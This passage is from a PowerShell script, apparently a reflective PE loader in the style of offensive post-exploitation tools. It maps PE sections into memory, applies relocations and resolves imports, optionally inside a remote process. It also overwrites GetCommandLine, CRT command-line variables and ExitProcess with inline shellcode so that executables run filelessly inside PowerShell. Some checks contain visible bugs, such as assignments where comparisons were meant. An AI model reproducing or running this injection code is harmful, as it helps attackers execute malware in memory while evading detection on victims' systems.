# SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
# so truncate SizeOfRawData to VirtualSize
$SizeOfRawData = $SectionHeader.SizeOfRawData
if ($SectionHeader.PointerToRawData -eq 0)
{
$SizeOfRawData = 0
}
if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
{
$SizeOfRawData = $SectionHeader.VirtualSize
}
if ($SizeOfRawData -gt 0)
{
Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
}
#If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
{
$Difference = $SectionHeader.VirtualSize - $SizeOfRawData
[IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
$Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
}
}
}
Function Update-MemoryAddresses
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$OriginalImageBase,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
[Int64]$BaseDifference = 0
$AddDifference = $true #Track if the difference variable should be added or subtracted from variables
[UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
#If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
-or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
{
return
}
elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
{
$BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
$AddDifference = $false
}
elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
{
$BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
}
#Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified
[IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
while($true)
{
#If SizeOfBlock == 0, we are done
$BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
if ($BaseRelocationTable.SizeOfBlock -eq 0)
{
break
}
[IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
$NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
#Loop through each relocation
for($i = 0; $i -lt $NumRelocations; $i++)
{
#Get info for this relocation
$RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
[UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
#First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase
[UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
[UInt16]$RelocType = $RelocationInfo -band 0xF000
for ($j = 0; $j -lt 12; $j++)
{
$RelocType = [Math]::Floor($RelocType / 2)
}
#For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit.
#This appears to be true for EXE's as well.
# Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
-or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
{
#Get the current memory address and update it based off the difference between PE expected base address and actual base address
[IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
[IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
if ($AddDifference -eq $true)
{
[IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
}
else
{
[IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
}
elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
{
#IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it
Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
}
}
$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
}
}
Function Import-DllImports
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 4, Mandatory = $false)]
[IntPtr]
$RemoteProcHandle
)
$RemoteLoading = $false
if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
{
$RemoteLoading = $true
}
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
{
[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
while ($true)
{
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
#If the structure is null, it signals that this is the end of the array
if ($ImportDescriptor.Characteristics -eq 0 `
-and $ImportDescriptor.FirstThunk -eq 0 `
-and $ImportDescriptor.ForwarderChain -eq 0 `
-and $ImportDescriptor.Name -eq 0 `
-and $ImportDescriptor.TimeDateStamp -eq 0)
{
Write-Verbose "Done importing DLL imports"
break
}
$ImportDllHandle = [IntPtr]::Zero
$ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
if ($RemoteLoading -eq $true)
{
$ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
}
else
{
$ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
}
if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
{
throw "Error importing DLL, DLLName: $ImportDllPath"
}
#Get the first thunk, then loop through all of them
[IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
{
$LoadByOrdinal = $false
[IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
#Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit
# If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
# and doing the comparison, just see if it is less than 0
[IntPtr]$NewThunkRef = [IntPtr]::Zero
if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
{
[IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
$LoadByOrdinal = $true
}
elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
{
[IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
$LoadByOrdinal = $true
}
else
{
[IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
$StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
$ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
$ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
}
if ($RemoteLoading -eq $true)
{
[IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
}
else
{
[IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
}
if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
{
if ($LoadByOrdinal)
{
Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
}
else
{
Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
}
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
$ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
#Cleanup
#If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed
if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
{
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
$ProcedureNamePtr = [IntPtr]::Zero
}
}
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
}
}
}
Function Get-VirtualProtectValue
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[UInt32]
$SectionCharacteristics
)
$ProtectionFlag = 0x0
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE
}
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_READWRITE
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_READONLY
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_NOACCESS
}
}
}
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
{
$ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
}
return $ProtectionFlag
}
Function Update-MemoryProtectionFlags
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
[IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
[UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
[UInt32]$SectionSize = $SectionHeader.VirtualSize
[UInt32]$OldProtectFlag = 0
Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
$Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Unable to change memory protection"
}
}
}
#This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE
#Returns an object with addresses to copies of the bytes that were overwritten (and the count)
Function Update-ExeFunctions
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[String]
$ExeArguments,
[Parameter(Position = 4, Mandatory = $true)]
[IntPtr]
$ExeDoneBytePtr
)
#This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.
$ReturnArray = @()
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
[UInt32]$OldProtectFlag = 0
[IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
if ($Kernel32Handle -eq [IntPtr]::Zero)
{
throw "Kernel32 handle null"
}
[IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
if ($KernelBaseHandle -eq [IntPtr]::Zero)
{
throw "KernelBase handle null"
}
#################################################
#First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it.
# We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.
$CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
$CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
[IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
[IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
{
throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
}
#Prepare the shellcode
[Byte[]]$Shellcode1 = @()
if ($PtrSize -eq 8)
{
$Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8
}
$Shellcode1 += 0xb8
[Byte[]]$Shellcode2 = @(0xc3)
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
#Make copy of GetCommandLineA and GetCommandLineW
$GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
$Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
$ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
$ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
#Overwrite GetCommandLineA
[UInt32]$OldProtectFlag = 0
$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
$GetCommandLineAAddrTemp = $GetCommandLineAAddr
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
$Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
#Overwrite GetCommandLineW
[UInt32]$OldProtectFlag = 0
$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
$GetCommandLineWAddrTemp = $GetCommandLineWAddr
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
$Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
#################################################
#################################################
#For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work.
# I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
# It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the
# argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.
$DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
, "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
foreach ($Dll in $DllList)
{
[IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
if ($DllHandle -ne [IntPtr]::Zero)
{
[IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
[IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
{
"Error, couldn't find _wcmdln or _acmdln"
}
$NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
$NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
#Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
$OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
$OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
$OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
$ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
$ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
$Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
$Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
$Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
$Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
}
}
#################################################
#################################################
#Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.
$ReturnArray = @()
$ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process
#CorExitProcess (compiled in to visual studio c++)
[IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
if ($MscoreeHandle -eq [IntPtr]::Zero)
{
throw "mscoree handle null"
}
[IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
if ($CorExitProcessAddr -eq [IntPtr]::Zero)
{
Throw "CorExitProcess address not found"
}
$ExitFunctions += $CorExitProcessAddr
#ExitProcess (what non-managed programs use)
[IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
if ($ExitProcessAddr -eq [IntPtr]::Zero)
{
Throw "ExitProcess address not found"
}
$ExitFunctions += $ExitProcessAddr
[UInt32]$OldProtectFlag = 0
foreach ($ProcExitFunctionAddr in $ExitFunctions)
{
$ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
#The following is the shellcode (Shellcode: ExitThread.asm):
#32bit shellcode
[Byte[]]$Shellcode1 = @(0xbb)
[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
#64bit shellcode (Shellcode: ExitThread.asm)
if ($PtrSize -eq 8)
{
[Byte[]]$Shellcode1 = @(0x48, 0xbb)
[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
}
[Byte[]]$Shellcode3 = @(0xff, 0xd3)
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
[IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
if ($ExitThreadAddr -eq [IntPtr]::Zero)
{
Throw "ExitThread address not found"
}
$Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Call to VirtualProtect failed"
}
#Make copy of original ExitProcess bytes
$ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
$ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
#Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then
# call ExitThread
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
$Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
}
#################################################
Write-Output $ReturnArray
}
#This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
# It copies Count bytes from Source to Destination.
Function Copy-ArrayOfMemAddresses
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Array[]]
$CopyInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants
)
[UInt32]$OldProtectFlag = 0
foreach ($Info in $CopyInfo)
{
$Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Call to VirtualProtect failed"
}
$Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
$Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
}
}
#####################################
########## FUNCTIONS ###########
#####################################
Function Get-MemoryProcAddress
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[String]
$FunctionName
)
$Win32Types = Get-Win32Types
$Win32Constants = Get-Win32Constants
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
#Get the export table
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
{
return [IntPtr]::Zero
}
$ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
$ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
{
#AddressOfNames is an array of pointers to strings of the names of the functions exported
$NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
$NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
